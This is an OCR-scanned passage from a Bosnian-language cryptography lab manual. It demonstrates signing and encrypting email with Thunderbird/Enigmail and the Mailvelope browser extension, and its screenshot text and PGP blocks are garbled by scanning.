Pozdrav meni od mene.

Sasa

(i digitalno potpisan)

=====BEGIN PGP SIGHATURE=-~-~-~--
Version: GnuPG v1.4.11 (GNU/Linux)

1QIcBAEBAgAGBQIURAGIAAGIEIZVbPhHEZm/ 40KQAIMFAPQK / SATQEONS J@DAQR
Rz¥sQ+daE/cIrzHiifeQaty440ppxyJAXKD/ nyOKMuxI3UnNLIVZCzngf/M+RSMC
F7mUcquj+oPhMGHErolweuebTDHSPSFSEhhTZvPAusIWMT Jw/ X4 JRIBCAVHEK Xmu
Ohlufgb+sv1CYIZIroGnUp78Ns2/XyYviddLfSvyuco?+2BYKGuwcUZes/KuYPlad2
fVuozK8CWGSXoeDjPOvUKpXe jOWt xAXTF1FSN+HjUvAiN6C0OggZx6tn]Z300aYeN
LbogQhlC4pREZ74AVEZ LIVIWTSBULYYL/MygbxdGxYdXPSH2/ 83817 rh+qGuvvila
okYP1JSxYBtLSwMzoBDW ] SwtXzub? SnskjGIWZ jFoddLvuyXggEAffXvwVrkrT3v
VvQBMMSZOwW3SNZ ISuteedSERORKVISIRre7hiCd120dZd3ZberjIfWIZ108pkQTEZ
SackHUPDFEQRoxICaeUlicGolEdXirdSMxhe2 l xemDEQIXVXBfMtyncenlSicopn
eCia+XoK7Mlayegtly2uT4tM7tRFG21ena07RH1GR33L5A72u0s91F +551g5HGon
BKOUMW/UFuvcZrsdC+1G4z+18uKPQbkhNQZDzwbgsxVFist+ZUAATt1dBPOgUSEN
rXN701ETC1Bkr@zodeTh

=qKuy

=====END PGP SIGNATURE-----

4 @2 attachments 20 KB

| DnATE199BF.asc 31KE | || (eAT8199BF.a5¢c.51g 543 bytes
M sasa.mrdovic@etf.unsa.ba is up to date

[ &

Details ~

From Sasa Mrdovic 4 Reply = Forward {8 Archive @ Junk @ Delete |

xlg 12:06 I

Other Actions -

& Savedul|~

Slika 2.5: Prikaz potpisane poruke za koju nema javnog kljuca za provjeru

Desnim klikom na prvi prilog (.asc) Enigmail prepoznaje da se radi o javnom
OpenPGP kljuc¢u i nudi opciju da uveze taj klju¢ u svoje spremiste kljuceva.
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Izborom te opcije, ako je sve korektno, dobiva se obavjestenje da je klju¢ uspjesno
smjesten u spremiste. Nakon toga Enigmail zaglavlje poruke se mijenja i pokazuje
da je potpis na poruci dobar, ali sada stoji da potpis nije od povjerenja. Enigmail
ocekuje da korisnik kaze koliko vjeruje ovom javnom klju¢u. Ta informacija se
unosi klikom na ”Details” u Enigmail zaglavlju poruke i izborom opcije ”Set
Owners Trust of Sender’s key ...”. Posto je u ovom slucaju klju¢ provjeren moze
mu se u potpunosti vjerovati. Izgled ekrana za izbor nivoa povjerenja u javni
klju¢ prikazan je na slici 2.6.

Enigmail - Set Owner Trust @

Key To Trust: | 53sa Mrdovic <sasa.mrdovic@etf.unsa.ba> - (x78199BF

How much do you trust the owner of the key to sign other keys properly?
) Idon't know I
=) I'do NOT trust
() Ttrust marginally
=) Ttrust fully

i@ Ttrust ultimately

oK l [ Cancel

Slika 2.6: Izbor nivoa povjerenja u javni klju¢

Samo u sluc¢aju izbora ove opcije Enigmail zaglavlje poruke se mijenja u ze-
lenu boju i nestaje oznaka da potpis nije od povjerenja. Odluka o vjerovanju u
klju¢ je do korisnika, primaoca poruke. Iz tog razloga se ovaj model povjerenja
naziva i model korisnicke perspektive, za razliku od hijerarhijskog koji se koristi
u X.509 certifikatima.

Primalac ove poruke sada ima javni klju¢ posiljaoca i moze mu odgovoriti po-
rukom koja je Sifrirana tim javnim klju¢em. Pored sifriranja izabrace se i da se
poruka digitalno potpise, te da joj se prilozi javi klju¢ potpisnika (onog koji odgo-
vara i kreira ovu poruku). Prije toga je na njegovom sistemu kreiran par kljuceva
na isti na¢in kao i kod prvog posiljaoca. Izgled ekrana za izbor Sifriranja i potpi-
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sivanje pojedina¢ne poruke prikazan je na slici 2.7.

Write: Re: Digitalno potpisana poruka - Unicode (UTF-8) = |68
I Send | o Speling ~ D Amtach ~ 4 Enigmail ~ @ SMIME ~ [ Save -
From:  Sasa Mrdovic <mrdevic@bih.net.ba> mrdovic@ bih.net.ba bt
- To: | & Sess Mrdovic <sasa.mrdovic@etf.unsa.bax rEnign\Iil Encryption & Signing Settings e

Encryption
) Use Defaults and Rules fer Encryption

Subject Re: Digitaino potpisana poruka
@ Force Encryption

BodyTot = || Varibie Width - B AA[AA ﬁ] ) Force Not to Encrypt

" Uredno primljena. Odgovaram Sifriranom i potpisanom pdy e

7 Use Defaults and Rules for Signing
Sata (2 :
S ) @ Force Signing

On 22.10.2014 12:06, Sasa Mrdovic wrote: ) Force Mok to Sign

Pozdrav meni od mene. PGP/MIME

@ Use Defaults and Rules for PGP formiat
Sada “) Force PGP/MIME
(i digitalno potpisan) ) Force Inline PGP

After application of defaults and rules:
Message will be encrypted
Message will be signed

Inline PGP will be used

ok | [ concel

Slika 2.7: Enigmail - izbor da se poruka potpise i Sifrira

Da bi posiljalac ove poruke mogao da je potpise neophodno je da unese passp-
hrase za pristup svom privatnom kljucu za potpisivanje. Izgled ekrana za unos
passphrase na Windows prikazan je na slici 2.8.

Da bi primalac ove potpisane i Sifrirane poruke mogao da je procita neophodno
je da unese passphrase za pristup svom privatnom kljuc¢u za desifriranje. Izgled
ekrana za unos passphrase na Linux prikazan je na slici 2.9.

Nakon uspjesno unesene passphrase poruka je desifrirana. U prilogu poruke je
javni klju¢ koji je takode sifriran. Da bi se provjerio potpis potrebno je desifrirati
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F ™y
Pinentry u

Please enter the passphrase to unlock the
secret key for the OpenPGF certificate:
"Sasa Mrdovic <mrdovic@bih.net bax"
4056-bit RSA key, 1D D1CC3D01,

created 2014-10-22.

Passphrase ||

Slika 2.8: Enigmail - unos passphrase (Windows)

E,Getmessages v | write (=])chat AddressBook “Tag+* [ Decrypt Search

From Sasa Mrdovic % Reply | = Forward | & Arc
Subject Re: Digitalno potpisana poruka
To Me
----- BEGIN PGP MESSACE-----

Charset: UTF-8
Version: GnuPG v2,0.22 (Mingw32)

hQIMASEhaTwhis rhAQ/9EH? * Enter Passphrase
Sp+N) Ogk fEP1Ga /1cPG]121T79

AwyTqaS++MA2z fbhBgGldO0EVY

C1¥mgCh21 GwsB600sRNBA ] fbzd Enter Passphrase
PORDYs 1 ITFPHEZ S5pMNth 425K

KBel0/bq ) ICSENSRE0GTIAOp " Youneed a passphrase to unlock the secret key For user:
REprWir ZHEC qn e X TPUY BSUH+ Y "Sasa Mrdovic <sasa.mrdovic@etf.unsa.ba>"

%mgg;m?gm;: 4096-bit RSA key, ID 305ACAE1, created 2014-10-22 (main key ID 478199BF)

PG N TS pk Al /L2 JSHNCKT FXE
PgBdCiD] 1+/STYNx HrC1EBg 30
AqwDZNCxghBOep IEEACR 701 HH] password: || |
CXHKMGR S5rUTHx BxBPbh SenbvE

ITfDKmXF4HVRPgHIwhgdnitlwl B Details:

SrwlSzulVy TU30Sb197+fONGL S

DNxggxeTca2l0sonk &+0vPPde:

Wip]PCxHWYSNNS5551 0eSxbdst

M/oBUVNT 7TdZI0C v 3HrQawGUNBE - - - - e e
uMSte(IdoFafaxnvGulY0Z0rl GCdooDBEYBPYDH ] K3xubte COM1 OYekanREDUATY
ProqqvVk4XyichMy1BD//TSpERS+ 2qx0GN001 2 )9rD7C5] jGAzonS 365V YYwA 3
yHrzIcYy3IrCITRND /FATKEdvrjLOMbo SHVRST 1ar(s 81 gAhuli bgKeFST{BOCeUD
hTC) rawd6ALNT XLcN20VOMak 21H] 81 OrbWFo 1 SHinXf 1 xFEART 0BOhc rL9sS0tLp

Cancel O |

Slika 2.9: Enigmail - unos passphrase (Linux)
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prilog i pohraniti ga na rac¢unar, te potom dodati u spremiste kljuceva. To se
postize desnim klikom na prilog (.pgp) i izborom opcije za desifriranje i pohra-
njivanje, ”Decrypt and Save As ...”.

Nakon ovoga dobije se poruka o uspjesnom desifriranju, ali i o nemoguénosti
provjere potpisa. Ovo je ocekivano jer kljuc koriSten za potpisivanje jos nije po-
hranjen u spremiste kljuc¢eva. Da bi se sa¢uvani javni klju¢ dodao u spremiste
potrebno je sa Enigmail stavke Thunderbird menija izabrati stavku KeyMana-
gement. U prozoru koji se otvori potrebno je izabrati File—Import Keys from
File. Nakon toga treba izabrati i u¢itati datoteku u koju je sa¢uvan javni kljuc,
desifriran u prethodnom koraku. Izgled ekrana za uvoz klju¢a u Enigmail prika-
zan je na slici 2.10.

search for: Q & Display All Keys by Default

Name * KeylD B
*Sasa Mrdovic <sasa.mrdovic@etf.unsa.ba> 478199BF

Import OpenPGP Key File

#| | 4 |msmrdovic K& Desktop I1s/

Places Name v Size Meodified
Q search B 0x01CC3D01.asc 3.1KB 13:16

@ Recently Used | sasa.mrdovic@etf.unsa.ba (0x478199BF) rev... 902 bytes 10:32

& smrdovic Iy

Ei Desktop

= File System
I Documents
& Music

i= Pictures

@ videos

GnuPG Files =
. Cancel Open

Slika 2.10: Enigmail - uvoz kljuca
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Kada je javni klju¢ uspjesno ucitan, potpis se moze provjeriti. Sada je joS
potrebno na isti nacin kao i za prethodni klju¢ odrediti povjerenje u javni kljuc.
Posto je i ovo klju¢ ¢ije se porijeklo zna moze se izabrati da se klju¢u u potpunosti
vjeruje. U tom sluc¢aju uspostavljeno je povjerenje i Enigmail u zaglavlju poruke
pokazuje da je poruka deSifrirana i da je potpisana sa klju¢em kom se vjeruje.
Sadrzaj poruke je dostupan i ¢itak. Izgled ekrana za prikaz deSifrirane digitalno
potpisane poruke u Thunderbird prikazan je na slici 2.11.

Re: Digitalno potpisana poruka - Inbox - Mozilla Thunderbird

Re: Digitalno potpi... =

£ Get Messages ~ | write |=.Chat IEI Address Book Tagw L Decrypt Q =
* Enigmail Decrypted message; Good signature from Sasa Mrdovic <mrdovic@bih.net.ba= Details -
m Sasa Mrdovic 4 Reply = Forward @& Archive & Junk | ® Delete

ect Re: Digitalno potplsana poruka - IEI 01:08 PM

To Me Other Actions «

Uredno praimljena. Odgovaram difriranom i potpisanom parukus. U prilogu Je 1 moja javmd kljuc,
sada (2)

On 22.10.2014 12:06, Sasa Mrdovic wrote:
Pozdravw meni od mene.

Sada
(1 digitalne potpisan)

* @ 1attachment: Ox01CC3D01.asc.pgp 4.2 KB B save ~

Slika 2.11: Digitalno potpisana desifrirana poruka

Ova razmjena poruka, i kljuCeva, pokazala je na koji nacin se koristenjem
Thunderbird i Enigmail na Windows ili Linux operativnim sistemima mogu raz-
mjenjivati digitalno potpisane i/ili Sifrirane poruke.

Prije prelaska na naredni zadatak bi¢e uraden izvoz kljuceva iz Enigmail u da-
toteke. Na ovaj na¢in moguce je ove kljuceve koristiti u drugim aplikacijama ili
na drugim uredajima. Funkcijama za upravljanje sa klju¢evima pristupa se preko
”Enigmail—+Key Management”. U prozoru koji se otvori ispisani su svi kljucevi
koje Enigmail ima. Tu je par kljuceva, privatni i javni, koji su generisani u Enig-
mail, kao i javni kljucevi vezani za adrese e-poste koji su uvezeni u Enigmail.
Unosom pojma za pretragu lako se moze pronadi identitet ¢iji kljuc se zeli izvesti
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u datoteku. Desnim klikom na klju¢ dobiva se lista mogudéih akcija sa koje treba
izabrati ” Export Keys to File” kao na slici 2.12.

r@ Enigmail Key Management i @Mﬂ
File Edit View Keyserver Generate
Search for:  bih.net X Display All Keys by Default
MName » KeyID =]
b Sasa Mrdovic <mrdovic@bih.net.ba> 01CC3D01 |

*
On 22.10.2014 12:06, Sasa Mrdovic wi

Pozdrav meni od mene.

Sasa
(i digitalno potpisan)

Copy Public Keys to Clipboard
Export Keys to File
Send Public Keys by Email

Upload Public Keys to Keyserver
Refresh Public Keys From Keyserver
Sign Key

Set Owner Trust

Add to Per-Recipient Rule

Disable Key
Revoke Key
Delete Key

Manage User IDs

Change Expiration Date

Change Passphrase

Generate & Save Revocation Certificate

Add Photo

View Signatures
View Photo ID
Key Properties

Slika 2.12: Enigmail - izvoz para kljuceva

Nakon izbora ove opcije pojavljuje se prozor sa pitanjem da li se zeli izvesti
samo javni kljuc ili i javni i tajni, jer za izabrani identitet Enigmail ima oba
kljuca. Posto se oba kljuca zele koristiti u drugoj aplikaciji, potrebno je izabrati
drugu opciju ”Export Secret Keys”. Potom je potrebno izabrati lokaciju i naziv
datoteke u koju ¢e se pohraniti par kljuceva. Ponudeni naziv datoteke sastoji
se od imena i adrese na koje se klju¢ odnosi, Enigmail oznake kljuca, te stringa
"pub-sec” prije ekstenzije .asc, da se oznaci da se radi o oba kljuca. Po zavrsetku
izvoza u ovoj datoteci se nalaze oba kljuca, koji se mogu uvesti u druge aplika-
cije. Privatni kljuc je i dalje zasti¢en sa passphrase, odnosno ne moze se koristiti
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za, potpisivanje i desifriranje bez njenog unosenja. Ipak ovu datoteku ne bi tre-
balo dijeliti sa drugim jer se time pruza moguénost nekome da pogada passphrase.

Na slican na¢in moguce je sac¢uvati i javne kljuceve iz Enigmail u datoteku, sto
je 1 ucinjeno za jednog primaoca.

2.2 Potpisivanje i Sifriranje poruka e-poste u web
pregledniku

Upotrebom dodatka Mailvelope za web preglednike (Chrome i Firefox) razmi-
jeniti potpisane ili Sifrirane poruke e-poste. U ovom koraku koristiti kljuceve
generisane u prethodnom zadatku.

Rjesenje: U ovom primjeru na Windows OS je koristen Google Chrome web pre-
glednik, a na Linux Ubuntu OS Firefox web preglednik.

Instalacija dodatka Mailvelope za Chrome je prili¢no jednostavna. Putem klika
na dugme za podeSavanje web preglednika (u gornjem desnom uglu) i izbora
stavke ”Postavke”? dolazi se do ekrana sa Chrome postavkama. Na tom ekranu
sa lijeve strane nalazi se stavka ”Prosirenja” koju treba odabrati, Na ekranu sa
proSirenjima ispisani su dodaci koji su trenutno instalirani. Na dnu ekrana je
link ”Nabavi vise prosirenja” putem kog se dolazi do web stranice ” Chrome web
store” za pretragu Chrome dodataka. Unosom pojma Mailvelope u polje za pre-
tragu, kao prvi rezultat se dobije potrebni dodatak. Izgled ekrana nakon pretrage
prikazan je na slici 2.13.

Nakon preuzimanja dodatka Mailvelope i njegove automatske instalacije do-
biva se obavjestenje da je Mailvelope dodat u Chrome uz pokazivanje na dugme
za njegovu aktivaciju. Izgled ovog dijela ekrana nakon instalacije prikazan je na
slici 2.14.

U nastavku je pokazana upotreba Mailvelope kroz primjer. Kompletne upute
za instalaciju i upotrebu Mailvelope u podrzanim web preglednicima, Chrome i
Firefox, nalaze se na Mailvelope web stranici sa dokumentacijom [41].

Prije upotrebe Mailvelope za Sifriranje poruka e-poste potrebno je imati odgova-
rajuée parove kljuceva. Mailvelope podrzava generisanje klju¢eva na slican nacin
kao i Enigmail. Kako je receno u postavci zadatka ovdje se koriste kljucevi ge-
nerisani u prethodnom zadatku. Ovim se i pokazuje na koji na¢in se klju¢ moze

4 Na ovom Chrome web pregledniku jezik korisni¢kog interfejsa je bosanski.
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" ¢ Protirenja %] & Chrome web-trgovina -

€ - C' | @ httpsy/chrome.google.com/webstore/search/mailvelope?hl=bs 7 < @ =
g~ chrome web-trgovina Prijava | # |m
mailvelope x ‘
« Potetna

s web-lokacije www.mailvelope com

Aplikacie Drustvene mrese i komunikacija
o 5 EnRestee it e bene] et extc ] -
- Progirenja Mailvelope S ST T e
Teme

S ChromeGP + BESPLATNO
CAIKE

.O kb DruStvene mreze | komunikacija
[ Radiizvanmrezno

Secure PGP in Chrome browser F—
] 0d Googlea
[ Besplatno
|| Dostupno zz Android GIF Scrubber 4+ BESPLATNO
@ Twin Gravity s
QOENE GIF scrubber is like a movie player for animated GIFS. Play it fast, Sl
slow, backwards, or use the scrubber to go back and forth!
O %k ok ke ok @
4| L

Slika 2.13: Dodavanje Mailvelope u Chrome

i

ch/mailvelope?hl=hr it i3 =
o Prosirenje "Mailvelope” dodano je u x Ii |:
Chrome. f

Upotrijebite to progirenje klikom na ovu ikenu.
Upravljajte svojim prosirenjima take da u izborniku |
Alati kliknete Progirenja. |

Mailvelope % oceN

= wish-lnkariia wianw mailealnne cfonm

Slika 2.14: Dugme za aktivaciju Mailvelope u Chrome

prenijeti u drugu aplikaciju ili na drugi racunar.

Klikom na Mailvelope dugme u Chrome, te izborom stavke ”Options” dolazi
se do ekrana za podesavanje Mailvelope. Izborom stavke "Key Ring” sa menija
na vrhu ekrana, te stavke "Import Keys” dolazi se do ekrana za uvoz (Import)
klju¢eva u Mailvelope. Sada je moguce u prozor za unos teksta kopirati sadrzaj
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datoteka sa klju¢evima ili izborom opcije ”Select a key text file to import” iza-
brati datoteku sa klju¢em kao na slici 2.15.

" T et 5B | 5B
/' Nows kartica % ) Mailvelope Options o P - ry
C' | [ chrome-extension://kajibbejlbohfaggdiogboambcijhkke/commen/ui/options.html w » =
Mailvelope  KeyRing  Options Documentation  Aoout  (BEER)

Display Keys

Import Keys
_ |mp0rt Keys

Generate Key

Paste key text here:

To import multiple keys, simply pasieihem all here Exira iext around ihe Keys s Jul
ignored. € Open '
. J®| . « Vjezhe » Upotreba kriptografije + [ 42| Sea
(€100 [][ 5
Organize ¥ New folder
= Name
= Libraries

3 T5_V2_Upotreba_kriptografije.pdf

[ Documents
1 ﬁ > ) T5.V2 Upotreba_kriptografije_rjesenja.pdf
= ::K || mrdovic@bih.net.ba (0x01CC3001) rev.asc
|| Pictures
é o | | sasa Mrdovic mrdovic®bih.net.ba (0:0L..
o [ Sasa Mrdovic sasa.mrdovic@etf.unsa.ba ..
£ | Sasa_Mrdovic_pub.asc
18 Computer o =
= || referenc.aux
& os@

|| T5.W2_Upotreba_kriptografije.aux
(s HP_RECOVERY ([

| Upotreba_kriptografije.aux
Select a key text file to import Sale (F:
a2 Sele (53 [’ T5_V2_Upotreba laiptografijebbl

=l m

‘
| P File name: Sasa Mrdovic mrdovic@bih.net.b: » | Svec
—_

Slika 2.15: Mailvelope - uvoz kljuca

Na slican nacin moguée je uvesti i javne kljuceve iz datoteka, $to je i uc¢injeno
za jednog primaoca, ¢iji javni klju¢ je sacuvan u datoteku u prethodnom zadatku.

Nakon inicijalne instalacije, Mailvelope ima predefinisanu listu davalaca usluga
web pristupa e-posti (njihovih domenskih imena) za koje ima ugradenu podrsku.
Do te liste se moze doé¢i putem klika na Mailvelope dugme u Chrome, te izborom
stavke ” Options”, te ponovo izborom stavke ” Options” sa menija na vrhu ekrana,
te stavke ”List of Mail Providers”. Sa tog ekrana moguce je dodati nove davaoce
ove usluge, odnosno domene na kojim ¢e se modi sifrirati poruke upotrebom Ma-
ilvelope.

Posto domeni koji su koristeni u prvom zadatku nisu na ovoj listi potrebno
ih je dodati. Chrome preglednik na Windows OS koristi korisnik ¢ija je adresa
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na domenu bih.net.ba, pa je taj domen potrebno dodati u Mailvelope. Klikom
na ”+ Add new site” otvara se prozor u koji treba dati ime tom davaocu usluge
(polje ”Site”) te unijeti domen na kom se nalazi (polje ”Domain match pattern”).
Za ime je izabrano ”"BihNet” | a za domen domen na kom se nalazi adresa e-poste
”* bih.net.ba”.%, kao na slici 2.16.

Watch List Record

acve [

Site BihNet

Status Domain match pattern APl

u:] * bih.netba C@ il Delete

X Cancel + Ok

Slika 2.16: Mailvelope - Dodavanje Mail Provider

Sada je sve spremno za upotrebu Mailvelope za kriptografsku zastitu poruke
e-poste. Prilikom pisanja poruka na webmail davaocima usluge koji su dodani
u Mailvelope u prozoru za pisanje poruke se pojavljuje ikona koja omogucéava
aktivaciju Mailvelope. Ikona je oznacena crvenim na slici 2.17.

Nakon klika na ikonu otvara se poseban Mailvelope prozor za pisanje poruka
koje mogu biti potpisane ili sifrirane.® Nakon upisivanje teksta poruke klikom da
odgovarajuc¢e dugme moguce je poruku potpisati ili Sifrirati. Izgled ovog prozora
prikazan je na slici 2.18

Po kliku na dugme ”Sign” otvara se prozor za izbor kljuca za potpisivanje.
Ponudene su samo adrese e-poste za koje Mailvelope ima privatni klju¢. Po izboru
kljuca vezanog za adresu mrdovic@bih.net.ba otvara se prozor za unos lozinke

5 * jgpred imena domena je obavezna
6 Tekuéa verzija Mailvelope, u vrijeme pisanja, ne podrzava potpisivanje Sifriranih
poruka
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et (= | O]
g Zimbra: Sastavi x ——

€& - € | @ httpsy//zimbra.bih.netba/zimbra/mail#3 @ b =

Posta Adresar Kalendar Zadaci Postavke Potpisano sa Ma 3

| Posali | Odustani | | SpremiSkice | L&J Opeie * U
Za: | sasa.mrdovic @etf.unsa.ba
Kopija: | mrdovic @bih.net.ba PrikaZi |

Maslov: |F’0tpisano sa Mailvelope lPrinr'rtet:t

| PrilcZi | Saviet: oznatite i prevucite file sa svog deskiopa da ga dodate kao attachment na poruku.

T

4] ")

E——

S —

Slika 2.17: Mailvelope - Tkona u prozoru za pisanje poruke

F B
§ chrome-extension//kajibbejlbohfaggdiogboambeijhkke/common/ui/editor/editor htmZid=c01796821F50e73... [L s I

Compose Mail é

® Cancel <= Undo ‘/‘Sign‘ # Encrypt

Slika 2.18: Mailvelope - prozor za pisanje poruke
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(passphrase)” za pristup kljuéu kao na slici 2.19

5]
chrome-extension://kajibbejlbchfaggdiogboambeijh kkefcom...El_lg

Key unlock Let&

User ID: Sasa Mrdovic <mrdovic@bih.net ba>
Key ID: AI4EE0DADTICC3DO1

Password: B

Remember passwords for this session

Slika 2.19: Mailvelope - potpisivanje poruke

Unosom korektne passphrase pokrece se proces generisanja potpisa. Po zavrsetku
ovog procesa u prozoru se nalazi poruka sa potpisom ispod nje kao na slici 2.20

Ovu poruku sa potpisom sada je moguce prebaciti u originalni prozor za unos
poruke unutar webmail® klikom na dugme ” Transfer”. Sada je ovu poruku i potpis
moguce poslati standardnim klikom na dugme ”Posalji” na webmail kao na slici
2.21.

Ovdje je pokazan postupak pisanja i potpisivanja (isto se odnosi i na Sifriranje)
poruke u Mailvelope prozoru, $to je podrazumjevano ponasanje od Mailvelope
verzije 0.6. Mailvelope omogucava kriptografske operacije i unutar prozora web-
mail davaoca usluge, ali taj nacin ima sigurnosne implikacije i mora se posebno
aktivirati. Za vise detalja vidjeti [41].

™ To je isti passphrase koji je postavljen za kljué koji je generisan u Enigmail i uvezen
u Mailvelope
8 U kom je kliknuto na Mailvelope ikonu
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F B
@ chrome-extension/kajibbejlbohfaggdiogboambeijhkke/common/ui/editor/editor htmIZid=c01796821F50e73... [e s I

Compose Mail

Hash: SHA256
Potpisano sa Mailvelope
Sasa

Wersion: OpenPGP js v0.9.0
Comment: hitp://openpgpjs.org

wsFcBAEBCAAQBQJVHPNQCRCpTmDaAcwIAQAANGCP/2ulfrPr7 KWKTaNRRATA
CCa9E3mdyL4ynb+UIvSDDmwOyYT7rSFoXBpaSFlurrOo2vnUISB2VQQrtdtzp
cFeuw1wiwvOq5IMBapzpgVaDGxyKtL2pvDm40iGtipiBIuinMEHUhHegT3R
mPOPQEJOEXKKCphWo1959g8Jew16Cd+FIW+QD540IRQW4YVXLoTzadgAMIZZ
XObfFrR8likrrsnotPDh46i0den0689pYjGoCqgJCulguj/h59gNKhibCa
Yb33waQadildyov2iesEEIIHwUe2q1h/LoVKavXDLyFQf46mkdI0V3DHeszla
UaOpAVpWwehCrkSHLQDZLYMvx32eGWHo7X2YGHWcck+UYgOgUd/hpvGniP
DbA1V4amP3F9Hjvg3sagmQbSngDWPHLbHGBCIPYNG 1LVRSNZanE6ExqUSVOY.J
RR25726xDQBcnQZAMATU/g6MJqehPTmHYBIoQTASMEAXBZICbxa7IDI8Ldo
P1kaPVILjtaDROBRAGL7LnmGwPO+uNGx4we JE2T57QAN Za8yYaSuvVFQYIig
NPTIvcAPOCc2nzbkLwxSxpixGViSIrHJsG3Z2DegQPNXnIPUNIEMgcimKZ O
MUOD/YEgQVxqgaQd0531WdMKjdwOhv/4XoY+A2GQjSF D+qCJnraB7 mDrsWitJ
WAXT

=+16k

X Cancel 4= Undo

Slika 2.20: Mailvelope - potpisana poruka

Na prijemnoj strani potpisane poruke (Firefox na Ubuntu Linux) potrebno je
dodati Mailvelope u Firefox web preglednik, uvesti potrebne klju¢eve i dodati
davaoca webmail usluge. Procedura je jednostavna i slicna onoj za Chrome na
Windows. Otvaranjem potpisane poruke Mailvelope prikazuje znak zapecacene

koverte kao na slici 2.22 ¢ime pokazuje da je poruka potpisana.
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/ ER Zimbra: Sastavi *® \ Y

€« - C | & https://zimbra.bih.net.ba/zimbra/mail#3 @ B =

Posta Adresar Kalendar Zadaci Postavke Potpisano sa Ma
) Odustani | | Spremi Skice | &J | Opcie ~ | t
| Za !|sasa.mrdovic@etf.unsa.ba
| Kopia: :|mrdovic@bih.net.ba Prikazi f
Maslov: |Potpisano sa Mailvelope i Priorit . =

| Prilozi | Saviet: oznatite i prevucite file sa svog deskiopa da ga dodate kao attachment na poruku.

————— BEGIN PGP SIGNED MESSAGE----- ——
Hash: SHA256 ‘L/]"

Potpisanc sa Mailvelope

————— BEGIMN PGP SIGMATURE-----
Version: OpenPGP.js v@.9.@
Comment: http://openpgpis.org

wsFcBAEBCAAQBQIVHPngCRCpTmDaAcwSAQAANGCP/ 2udf rPr7Kk TaNRRATA
CCa9E3mdyL4ynb+UIvSDDmWOyY7 rSFaeXBpasF lurrOo2vnUlSB2V0Qrldtzp
cFeuwlwtwv@gqsIMBapzpegVaDGxyKotL2pyvDmd@iGtipiBouinMEHUhHCgT3R
mPBPgEjeEXKkCphllo1959g8Jewl 6Cd+F 1W+QD540iRQWAYVXLoTzadgAMIZZ
X0bfFrR81ikrMrsnotPDh46iaden0689pYjGoCqglCulguil/h59egNkhibCa
Yb23WQAdIldyov2lesEEIIHWUe2qlh/ LoVKaVXDLyFQf46mkdI@V3iDHeszla
UaOpAVphiwehCrkS+tL1jQDZLYMvx32eGWHo 7X2YGHWck+UYg@gUd /hpvGnIP
DbAlV4amP3F9Hivg3sagmQbSngDWPHLEBHGBCtPYNGLLVRSNZanE6xqUsVEY ]
RR2s726xDQBCnQZA/hATU/ qEMIqehPTmHVE LoQ7 ASmEAXBZtChxa7 1038 Ldo
P1kaPVILjta@ROBRAGLY LnmGwPO+UNGx4we JE27570A11ZaByYaSuvVFQYIis
NP711lvcAPBc2nzbkLwxSxpixavtslrH]sG3Z20egQPNXTnlPUTlemgcimkZ0
1MUB /YEEVxqgaQdes3 1WdMfK j4wlhv/4XoY+A2GQ] 2FD+qCInraB7mDrshift]
WVAXT

=+16k

----- END PGP SIGNATURE-----

Slika 2.21: Webamail - slanje Mailvelope potpisane poruke
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D Zimbra: Potpisano sa Mailvelope - Mozilla Firefox

= etf.unsa.ba
Close Reply Reply to All Forward Delete Spam Actions =
Potpisano sa Mailvelope April 2, 2015 10:28 AM

From: | Sasa Mrdovic |
To: | sasa mrdovic |

Cc: | mrdovic@bih.net.ba |

————— BEGIN PGP SIGMED MESSAGE-----
Hash: SHA256

Potpisano sa Mailvelope

Sasa

Slika 2.22: Mailvelope - provjera potpisane poruke

Nakon klika na zapecacenu kovertu Mailvelope provjerava potpis i ako je is-
pravan prikazuje poruku uz oznaku da je potpisana i informaciju o potpisniku
kao na slici 2.23.

Da bi se pokazalo Sifriranje i degifriranje poruka e-poste upotrebom Mailve-
lope ova potpisana poruka je Sifrirana i proslijedena na treé¢u, Gmail®, adresu.
Prethodno je dobavljen i u Mailvelope dodat javni klju¢ vezan za tu adresu.
Klikom na dugme ”Forward” otvara se prozor za unoSenje adrese na koju se
prosljeduje poruka, te moguénoSéu izmjene sadrzaja koji se prosljeduje. Klikom
na Mailvelope ikonu u prozoru za tekst poruke otvara se Mailvelope prozor. U
prozor je prebacen kompletan sadrzaj poruke. Sada je moguée izmijeniti poruku
te je Sifrirati klikom na dugme ”Encrypt” kao na slici 2.24.

9 Oba davaoca usluge e-pote iz dosadasnjih primjera koriste Zimbra softver za reali-
zaciju webmail. Iz tog razloga poruka je Sifrirana i poslana Gmail adresu da se vidi
kako Mailvelope radi i u drugim webmail aplikacijama.
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Zimbra: Potpisano sa Mailvelope - Mozilla Firefox

= etf.unsa.ba
Close Reply Reply to All Forward Delete Spam Actions «
Potpisano sa Mailvelope April 2, 2015 10:28 AM

From: | Sasa Mrdovic |
To: | sasa mrdovic |

Cc: | mrdovici@bih.net.ba |

Signed by Sasa Mrdovic <mrdovic@bih.net.ba> (Key 1D: AS4E60DA01CC3D01)

Potpisano sa Mailvelope

Sasa

Slika 2.23: Mailvelope - prikaz potpisane poruke

Nakon toga se pojavljuje prozor u kom je potrebno izabrati prijemnika za kog
se poruka Sifrira, odnosno njegov javni klju¢. Kada je izabrano kome se poruka
Sifrira, obavlja se Sifriranje i u Mailvelope prozoru se pojavljuje Sifrirane poruka.
Klikom na dugme ”Transfer” na dnu ovog prozora Sifrirana poruke se prebacuje
u originalni prozor za unos poruke unutar webmail. Sada se ta poruka klikom na
dugme ”Send” moze poslati kako je prikazano na slici 2.25.

Ova sifrirana poruka kod prijemnika na Gmail'® prikazuje se znakom koverte
preko koje je katanac kao na slici 2.26 ¢ime pokazuje da je poruka Sifrirana.

Klikom na ikonu koverte sa katancem pojavljuje se prozor na kom je po-
trebno unijeti lozinku (passphrase) za pristup privatnom kljucu koji je potreban
za desifriranje poruke. Po unosu ispravne lozinke prikazuje se desifrirana poruka.

Tako su ovdje postupci potpisivanja i Sifriranja poruka e-poste, upotrebom Enig-
mail u klijentu e-poste i upotrebom Mailvelope u web pregledniku prikazani odvo-
jeno, rezultat je isti u oba slucaja. Poruke potpisane ili Sifrirane sa Enigmail mogu

10 U koristeni web preglednik bilo je neophodno instalirati Mailvelope, ali nije bilo
potrebno dodavati Gmail u Mailvelope jer je on uvrsten u inicijalnu instalaciju.
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| & https fwebmail.etf.unsa.ba/public/launchNewWindow.jsp?skin=serenity&localeld=en_US&authTc
Send - Cancel Sawve Draft & Options -
To: [:sasa.mrdnvic@gmail.cnm x:j
£ | Show BCC_
Subject: |Fwd: Potpisano sa Mailve(ope Priority:| = ¥ |
